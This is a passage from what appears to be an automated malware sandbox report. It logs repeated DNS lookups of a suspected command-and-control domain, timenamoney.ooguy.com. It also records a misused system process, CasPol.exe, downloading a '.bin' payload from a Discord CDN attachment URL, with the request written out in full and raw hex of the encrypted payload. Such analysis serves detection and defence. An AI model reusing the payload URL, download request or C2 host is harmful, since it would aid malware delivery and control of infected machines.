May 25, 2022 16:26:02.380574942 CEST	1.1.1.1	192.168.11.20	0xb940	No error (0)	www-bing-com.dual-a-0001.a-msedge.net	dual-a-0001.dc-msedge.net		CNAME (Canonical name)	IN (0x0001)
May 25, 2022 16:26:02.380574942 CEST	1.1.1.1	192.168.11.20	0xb940	No error (0)	dual-a-0001.dc-msedge.net		13.107.22.200	A (IP address)	IN (0x0001)
May 25, 2022 16:26:02.380574942 CEST	1.1.1.1	192.168.11.20	0xb940	No error (0)	dual-a-0001.dc-msedge.net		131.253.33.200	A (IP address)	IN (0x0001)
May 25, 2022 16:26:02.573157072 CEST	1.1.1.1	192.168.11.20	0x99fd	No error (0)	devcenterapi.azure-api.net	apimgmttmr17ij3jt5dneg64srod9jevcuajxaoube4brtu9cq.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)
May 25, 2022 16:26:02.573157072 CEST	1.1.1.1	192.168.11.20	0x99fd	No error (0)	devcenterapi-eastus-01.regional.azure-api.net	apimgmthszbjimgeglorvthkncixvpso9vnynvh3ehmsdll33a.cloudapp.net		CNAME (Canonical name)	IN (0x0001)
May 25, 2022 16:26:03.195127964 CEST	1.1.1.1	192.168.11.20	0xc538	No error (0)	evoke-windowsservices-tas-msedge-net.e-0009.e-msedge.net	e-0009.e-msedge.net		CNAME (Canonical name)	IN (0x0001)
May 25, 2022 16:26:03.195127964 CEST	1.1.1.1	192.168.11.20	0xc538	No error (0)	e-0009.e-msedge.net		13.107.5.88	A (IP address)	IN (0x0001)
May 25, 2022 16:26:44.302737951 CEST	1.1.1.1	192.168.11.20	0xf6b9	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
May 25, 2022 16:26:44.302737951 CEST	1.1.1.1	192.168.11.20	0xf6b9	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
May 25, 2022 16:26:44.302737951 CEST	1.1.1.1	192.168.11.20	0xf6b9	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
May 25, 2022 16:26:44.302737951 CEST	1.1.1.1	192.168.11.20	0xf6b9	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
May 25, 2022 16:26:44.302737951 CEST	1.1.1.1	192.168.11.20	0xf6b9	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
May 25, 2022 16:26:46.496171951 CEST	8.8.8.8	192.168.11.20	0xebfb	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:26:52.945810080 CEST	8.8.8.8	192.168.11.20	0x5b53	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:26:59.338793039 CEST	8.8.8.8	192.168.11.20	0xd3df	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:27:04.488585949 CEST	8.8.8.8	192.168.11.20	0x3fb6	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:27:10.899472952 CEST	8.8.8.8	192.168.11.20	0x5e69	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:27:15.850781918 CEST	8.8.8.8	192.168.11.20	0xb1e2	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:27:22.081876040 CEST	8.8.8.8	192.168.11.20	0x20ad	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:27:28.192369938 CEST	8.8.8.8	192.168.11.20	0x83b7	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:27:34.591183901 CEST	8.8.8.8	192.168.11.20	0xf5a	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:27:40.733918905 CEST	8.8.8.8	192.168.11.20	0x1815	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:27:47.015320063 CEST	8.8.8.8	192.168.11.20	0x9821	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:27:53.202756882 CEST	8.8.8.8	192.168.11.20	0xd799	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:27:59.388636112 CEST	8.8.8.8	192.168.11.20	0xc091	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:28:05.690783024 CEST	8.8.8.8	192.168.11.20	0x4c7b	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:28:12.041929960 CEST	8.8.8.8	192.168.11.20	0x7da8	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:28:18.306184053 CEST	8.8.8.8	192.168.11.20	0x6467	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:28:24.431077003 CEST	8.8.8.8	192.168.11.20	0x9c5e	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:28:30.613787889 CEST	8.8.8.8	192.168.11.20	0xe652	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:28:36.799427032 CEST	8.8.8.8	192.168.11.20	0x69aa	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:28:42.878732920 CEST	8.8.8.8	192.168.11.20	0xbcf3	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:28:49.049251080 CEST	8.8.8.8	192.168.11.20	0x7b94	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:28:55.440484047 CEST	8.8.8.8	192.168.11.20	0x4aed	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:29:01.592559099 CEST	8.8.8.8	192.168.11.20	0x673a	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:29:08.795510054 CEST	8.8.8.8	192.168.11.20	0x2518	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:29:15.184284925 CEST	8.8.8.8	192.168.11.20	0xcc90	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:29:21.377964020 CEST	8.8.8.8	192.168.11.20	0x1d53	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:29:27.807087898 CEST	8.8.8.8	192.168.11.20	0xa835	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:29:34.096745968 CEST	8.8.8.8	192.168.11.20	0x8893	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:29:40.486520052 CEST	8.8.8.8	192.168.11.20	0x36c5	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:29:46.630523920 CEST	8.8.8.8	192.168.11.20	0x801f	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:29:52.801234961 CEST	8.8.8.8	192.168.11.20	0x5513	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:29:58.893316031 CEST	8.8.8.8	192.168.11.20	0x407c	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:30:05.157944918 CEST	8.8.8.8	192.168.11.20	0x52c4	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:30:11.281208992 CEST	8.8.8.8	192.168.11.20	0x62a3	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:30:17.467778921 CEST	8.8.8.8	192.168.11.20	0x8ee0	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:30:23.638602972 CEST	8.8.8.8	192.168.11.20	0x32ef	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:30:29.840244055 CEST	8.8.8.8	192.168.11.20	0xf9a3	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:30:36.066773891 CEST	8.8.8.8	192.168.11.20	0x55fe	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:30:42.179620981 CEST	8.8.8.8	192.168.11.20	0xb5a9	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:30:48.338567972 CEST	8.8.8.8	192.168.11.20	0x47a9	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:30:54.441349030 CEST	8.8.8.8	192.168.11.20	0xabf7	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:31:00.705347061 CEST	8.8.8.8	192.168.11.20	0x93de	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:31:07.013132095 CEST	8.8.8.8	192.168.11.20	0x190b	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:31:13.189310074 CEST	8.8.8.8	192.168.11.20	0x768b	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:31:19.375124931 CEST	8.8.8.8	192.168.11.20	0x92b4	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:31:25.805777073 CEST	8.8.8.8	192.168.11.20	0x7181	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:31:32.110677958 CEST	8.8.8.8	192.168.11.20	0xfb4	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:31:38.184058905 CEST	8.8.8.8	192.168.11.20	0xf893	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:31:44.471309900 CEST	8.8.8.8	192.168.11.20	0x18ad	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:31:50.743858099 CEST	8.8.8.8	192.168.11.20	0x6536	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:31:56.881262064 CEST	8.8.8.8	192.168.11.20	0x3578	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:32:03.054253101 CEST	8.8.8.8	192.168.11.20	0xfdea	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:32:09.286408901 CEST	8.8.8.8	192.168.11.20	0xff54	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:32:15.408425093 CEST	8.8.8.8	192.168.11.20	0xf934	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:32:21.595853090 CEST	8.8.8.8	192.168.11.20	0xdc73	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:32:27.938632965 CEST	8.8.8.8	192.168.11.20	0x34d0	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:32:34.333075047 CEST	8.8.8.8	192.168.11.20	0x48fb	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:32:39.044857025 CEST	8.8.8.8	192.168.11.20	0x4d81	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:32:45.341310978 CEST	8.8.8.8	192.168.11.20	0x8b6d	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:32:51.451075077 CEST	8.8.8.8	192.168.11.20	0x303a	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:32:57.570897102 CEST	8.8.8.8	192.168.11.20	0xb887	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:33:03.813878059 CEST	8.8.8.8	192.168.11.20	0x8bd9	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:33:10.239430904 CEST	8.8.8.8	192.168.11.20	0xfb23	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:33:16.397475004 CEST	8.8.8.8	192.168.11.20	0x5147	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:33:22.613768101 CEST	8.8.8.8	192.168.11.20	0x35e1	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:33:28.782891035 CEST	8.8.8.8	192.168.11.20	0x2bf2	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:33:35.018151045 CEST	8.8.8.8	192.168.11.20	0x3567	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:33:41.227715969 CEST	8.8.8.8	192.168.11.20	0xa9ea	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:33:47.327317953 CEST	8.8.8.8	192.168.11.20	0x2152	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:33:53.451368093 CEST	8.8.8.8	192.168.11.20	0xf225	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:33:59.590660095 CEST	8.8.8.8	192.168.11.20	0x7d83	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:34:05.696618080 CEST	8.8.8.8	192.168.11.20	0x1d45	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:34:11.941778898 CEST	8.8.8.8	192.168.11.20	0xa2f8	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:34:18.178221941 CEST	8.8.8.8	192.168.11.20	0x7e06	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:34:24.335089922 CEST	8.8.8.8	192.168.11.20	0x2966	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)
May 25, 2022 16:34:30.640336990 CEST	8.8.8.8	192.168.11.20	0x57e6	No error (0)	timenamoney.ooguy.com		23.105.131.228	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

cdn.discordapp.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.11.20	49747	162.159.134.233	443	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-05-25 14:26:44 UTC	0	OUT	GET /attachments/963535165500588126/978282265127825408/NANOBIN_HBsjI150.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: cdn.discordapp.com Cache-Control: no-cache
2022-05-25 14:26:44 UTC	0	IN	HTTP/1.1 200 OK Date: Wed, 25 May 2022 14:26:44 GMT Content-Type: application/octet-stream Content-Length: 207424 Connection: close CF-Ray: 710ef2a3eb999226-FRA Accept-Ranges: bytes Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=NANOBIN_HBsjI150.bin ETag: "e69052d39de33b2cb4819f331bc19ce3" Expires: Thu, 25 May 2023 14:26:44 GMT Last-Modified: Mon, 23 May 2022 13:04:27 GMT Vary: Accept-Encoding CF-Cache-Status: MISS Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1653311067650749 x-goog-hash: crc32c=ByctQQ== x-goog-hash: md5=5pBS053jOyy0gZ8zG8Gc4w== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 207424 X-GUploader-UploadID: ADPycdvYicyZFqrW8lNCLPv3foY4061o3v8qwINAzTCJUmde-jzq286kaNfFcKeqpmz3_1wag1VoF6EOcvJrHsn19397Nwy767hi X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=RmMogqG8ZzJ6eVTM58s4fGEEMcQvuPpc2p1JzWL5fpy72AiinnyVwlnKJffu1DxwFM9yE2NyPzTTovKU%2FPPI5wGttTM182JYqsSFnFOHHw3izxO8xQr3oYzzvUxKEMIDnpfPdg%3D%3D"}],"group":"cf-nel","max_age":604800}
2022-05-25 14:26:44 UTC	1	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare
2022-05-25 14:26:44 UTC	1	IN	Data Raw: 06 60 11 8b e1 db c5 25 90 1e 41 90 35 16 77 3a 62 d4 a4 6f 82 55 cc f2 f1 41 28 5b c6 1f 45 1d 85 3a b5 e3 78 12 76 a4 eb 92 bc 1f bd c3 c9 10 ff 95 dd b8 8b e6 ca 1e 3e ef 53 1c 07 34 4f 79 b2 e4 c3 28 30 4a d4 3c 74 98 35 28 69 2d 26 2c c6 aa 14 00 0e 14 81 c3 e1 c6 28 e8 a2 d5 0f 4c ab a1 0e ff 00 07 50 1d c3 24 dd 56 2b 4f 11 f2 cc 9a da e5 8e e2 6b 74 c1 eb 15 77 3c f3 48 36 51 36 3a 08 65 5a 67 07 1f de 7a f5 05 26 63 71 4b 59 4a 78 3c d3 a9 ff 93 1f 74 11 00 38 f2 d0 64 7b b9 bf df 90 bd 16 fe 5c a7 01 af c9 ab a0 bc ba 58 eb 03 56 68 4c 33 7d 2c 9c 75 5a 71 1a a9 13 04 7d f9 42 0f b0 9d 4d 2a 61 3a 46 32 6c 1e 92 de 09 4d 17 cd f5 c5 32 cd 63 ff 32 4d f1 63 98 23 88 ab 88 b2 24 cd 8a 98 d7 28 15 f1 22 6c 16 fd 50 b9 88 95 f0 23 a5 be 71 19 17 fe Data Ascii: `%A5w:boUA([E:xv>S4Oy(0J<t5(i-&,(LP$V+Oktw<H6Q6:eZgz&cqKYJx<t8d{\XVhL3},uZq}BM*a:F2lM2c2Mc#$("lP#q
2022-05-25 14:26:44 UTC	2	IN	Data Raw: c9 e0 e2 9d dc 01 e3 99 a5 53 1b e1 56 ef 40 a4 84 8b cd 03 8d 3d 7a 57 b4 8b 02 33 88 b6 5d df ed 69 57 20 6e ba d0 06 f1 28 d2 cc bb bf 56 ad ae ad 77 4c 49 c5 33 64 43 8e 6b 59 36 26 c0 dd c4 35 c0 3f 48 98 eb 90 de 97 52 db 02 7e 3d 9e fd 08 09 ce 1c 04 81 93 49 46 e7 a5 e4 de 40 4e cf f9 55 5f ea c0 09 5f dc 13 d8 e5 cb b1 a3 be 83 b0 9b c4 61 5e 64 63 94 62 65 2f 6d 9d 64 37 ad 58 8b f3 e9 f1 81 d9 46 f5 5e b7 8c c6 51 e9 f5 e7 7f dc b2 2c ab 1d 20 aa 15 15 87 bf 13 8f 6d 1d 7c 36 1e ac 7e d3 9c 3e 15 84 e2 db 79 41 52 28 71 66 87 c8 6d 9a 8f 89 3f 52 1f 2b c6 12 94 bb db dc f0 3d f9 b4 91 82 74 8a c1 e3 62 52 40 f8 ff 45 2d cf 17 20 86 27 a6 5c d7 b2 c8 a2 6a a0 f1 be 74 31 13 ef 64 62 94 84 4a 0f cf f1 52 f4 a6 d1 6e 35 ae 74 04 27 c6 2a 7a 5a eb Data Ascii: SV@=zW3]iW n(VwLI3dCkY6&5?HR~=IF@NU__a^dcbe/md7XF^Q, m\|6~>yAR(qfm?R+=tbR@E- '\jt1dbJRn5t'*zZ
2022-05-25 14:26:44 UTC	4	IN	Data Raw: 77 d4 82 b8 bc e8 41 36 ce 16 92 0a 4f da bb 7c 00 06 09 46 5e 52 ca eb 61 b4 53 cc 14 53 d6 68 5d e1 8b 9e 73 12 f9 bf 41 2e e1 f2 28 0f 06 a3 cf b3 02 3e 11 c9 b2 70 ba 5f 52 55 dc 85 7b 40 ba 57 b3 e2 5f fa 60 b5 69 4c 7e 49 1b 4f e9 56 aa f3 8b 47 65 aa 1e d1 30 00 15 72 ae 24 cc 26 90 17 5a ba 0b 41 ce 11 ad fd 9a fc 4f f2 26 21 ec 2c 50 b3 e9 dd 3b cb b3 e9 da fd 9d 97 b5 54 c3 10 8a 10 c2 7b ef ba de e4 97 39 e3 68 89 7e cb 65 1a 00 05 b6 37 54 73 c5 45 12 60 81 b2 7e 5e 2b 18 22 81 0b 19 c6 78 a5 60 34 82 bf 57 6f cf d0 c7 de bf ca 03 46 35 9f 0c 27 11 27 c9 56 88 83 86 0d d4 09 3d 7a 5c ba 4c 15 11 b5 6d 48 d1 05 37 6c 06 46 f0 dc 0e f9 27 27 f8 f3 bf 5c b8 21 e4 61 b2 49 ae dc 67 68 89 6f 70 d6 cf 89 61 9d 87 e0 ef 57 c1 26 90 de 90 38 59 a9 7e Data Ascii: wA6O\|F^RaSSh]sA.(>p_RU{@W_`iL~IOVGe0r$&ZAO&!,P;T{9h~e7TsE`~^+"x`4WoF5''V=z\LmH7lF''\!aIghopaW&8Y~
2022-05-25 14:26:44 UTC	5	IN	Data Raw: 0d 7c 06 65 ac 6e 1e 96 47 73 c3 35 3e 45 2b 72 33 98 f8 66 c3 17 c3 fe e4 15 e0 8f d9 d1 b8 f2 53 f2 22 b9 ab 88 b2 24 5f 6d 99 d5 34 20 dc 28 4a 6d e6 50 b9 8c f8 f6 08 86 98 5a ed 3f fc a0 82 79 37 6d 5e db 38 d0 1f 2b 92 4b de f2 40 0f e1 14 18 46 d9 f7 96 4c 91 56 5e e4 70 bc 9a 57 33 a2 fd 37 5a 4e 66 95 b9 46 f7 a5 c6 0f 50 8c 5b 65 59 db db 83 f5 a4 9a f5 d4 28 da d0 b3 cd 93 14 d8 e1 08 e3 a6 3d 26 64 2b 8c 01 e5 c5 09 d8 40 47 13 7a 0e 8b 37 fa c9 6f 84 01 22 7a cc 77 2a 69 22 43 4a 4f a3 29 7d b3 a1 49 14 b1 28 c3 6e cc e6 ad 91 e4 63 61 c7 68 98 0e 20 af 97 79 22 49 2f 6d aa 7a 4e db 68 b2 98 f9 6a 10 d6 68 59 f6 9e ae 35 7d 9c b5 43 27 dc 69 2b 29 26 57 92 8d 2a 72 15 e2 40 63 b3 4e 48 45 bf ae a0 5e 92 a8 b8 e2 59 c3 aa f6 69 4a 52 47 95 4e Data Ascii: \|enGs5>E+r3fS"$_m4 (JmPZ?y7m^8+K@FLV^pW37ZNfFP[eY(=&d+@Gz7o"zwi"CJO)}I(ncah y"I/mzNhjhY5}C'i+)&Wr@cNHE^YiJRGN
2022-05-25 14:26:44 UTC	6	IN	Data Raw: c9 50 6e 3e a4 72 16 33 db ba e0 27 b5 d4 11 e4 f3 91 fd 30 53 92 27 f8 fa 5d 99 9a 62 99 76 8b 20 95 25 0a 57 7f ed da 9d 3d 17 32 23 9a e7 ce 56 ae be 53 2e 40 c9 d4 3c 7a 8c 20 3d e5 56 26 2c 74 b0 39 13 28 32 83 b0 e0 c6 28 e2 8a 87 0f 4c a1 b8 23 f5 26 21 7a 60 e5 24 dd 52 00 a7 6c d5 cc 9a de ce 7f e1 5b 7d c1 f4 15 77 bc f3 48 36 5f 2b 82 7d 46 ee 6e ce 3d 4e fe b9 c8 0d 43 0a 22 2a 68 14 63 bf e8 ab d8 0f 77 72 61 52 b7 47 10 58 eb d3 ff fd c8 78 de 35 c9 21 eb 84 fa fb f2 d5 3c 8a 2e 73 e3 46 17 77 58 8f 75 5a 73 02 d4 55 22 5b 9f 3e 2f b0 3c 6e e8 cd 3a 55 02 6f 1e 9d de 09 ad 1b c3 f4 df 31 d2 75 d3 fd 6a 8a 47 f8 22 8c 81 ae 99 d3 5f 6e a9 de 28 19 f1 22 6c 16 ff 50 b9 8a d6 ee 0e 89 98 57 1b 6e db ba 95 50 08 57 0e c5 45 f4 1b 28 88 79 1c fb Data Ascii: Pn>r3'0S']bv %W=2#VS.@<z =V&,t9(2(L#&!z`$Rl[}wH6_+}Fn=NC"*hcwraRGXx5!<.sFwXuZsU"[>/<n:Uo1ujG"_n("lPWnPWE(y
2022-05-25 14:26:44 UTC	8	IN	Data Raw: 14 e0 ef 5c 98 8b 90 de 9b 51 a8 af dd 3d 9f f6 72 bd c6 73 43 ee 30 43 29 a3 d6 40 d4 e2 4d fe 9c 65 79 93 92 0e 57 b9 48 f4 cb e7 b1 49 be 83 b0 f9 97 45 78 17 ec 44 6a 6f af 44 b5 22 33 85 f4 e4 a3 e3 d9 2c 05 6d fd 74 f6 8a ec 57 c4 e9 cd 76 5c f8 2d ab 60 0b 71 23 3f b3 35 17 a4 a1 9f 50 4f 1e d9 bf 1d a1 51 15 84 e4 e0 3b 45 52 1a 59 15 87 c2 6b b2 ea 8a 23 4a 1a 6d e0 ec 84 9b b2 dc eb 54 80 de 91 88 71 b4 ba ce 7a 72 7a 8f 01 50 23 e7 6d 3b 80 3a 93 04 da 94 4f 82 1c a0 ea 92 7a 62 cb c9 49 ac cb af bb 1a d7 8e 52 e9 a0 f9 12 3e ae 72 3d 47 d8 34 51 60 a9 d4 11 e8 8b c9 84 30 57 b4 07 da b6 b9 9a ac 43 ff 36 8b 26 bd b8 0a 57 79 c7 ad dc 3d 11 10 ab 98 c2 36 7b ff be 53 2b 03 4e d4 43 70 98 35 28 96 d2 26 04 fb aa 14 06 14 39 f1 e5 df 85 28 e8 a6 Data Ascii: \Q=rsC0C)@MeyWHIExDjoD"3,mtWv\-`q#?5POQ;ERYk#JmTqzrzP#m;:OzbIR>r=G4Q`0WC6&Wy=6{S+NCp5(&9(
2022-05-25 14:26:44 UTC	9	IN	Data Raw: a8 b7 eb 4e 48 a0 bf 69 4a 4d a8 2c 4f e3 8c d4 ee 8b 47 20 ce 7e d0 30 06 95 44 ca 25 c8 3e 97 99 ed ad 20 53 c9 02 8e c5 70 fc 09 f2 34 25 10 39 40 b3 1f df 29 ce 0b f8 de 67 43 de b5 54 cc 61 c2 10 c2 7a 92 a5 de e4 93 2b e6 61 98 7a 31 3c 80 79 da b7 37 55 22 f7 45 12 27 fc ac 7f 45 1f 0c 27 b1 1b 1d de 32 3f 14 8e f1 d9 56 12 e5 c9 ea ce 8b d9 08 d9 86 91 0d a7 48 20 ef 40 bf f3 82 35 76 0d 2f 7f 44 94 dd 24 15 9e 99 6b 9a f5 44 46 7b 67 f6 d0 02 85 0a bd 81 bf ad 59 c2 4f ac 61 b6 27 b3 cd 67 62 a0 65 59 b5 a6 fd fb e4 b1 f2 ea 2d af 14 90 da fe ff 56 a9 74 11 a1 8e 2d 1f c6 77 5b 84 e8 5c 29 a9 a1 8b 6f e2 47 ed a2 5d 4d e8 b0 10 57 b3 5a ca e0 ba dc ec be 87 92 58 ba 69 54 72 48 6c 14 49 2f 76 b1 30 32 d6 4d e4 a3 ed e0 8e 6a d1 f7 5c 97 a1 ff 2f Data Ascii: NHiJM,OG ~0D%> Sp4%9@)gCTaz+az1<y7U"E'E'2?VH @5v/D$kDF{gYOa'gbeY-Vt-w[\)oG]MWZXiTrHlI/v02Mj\/
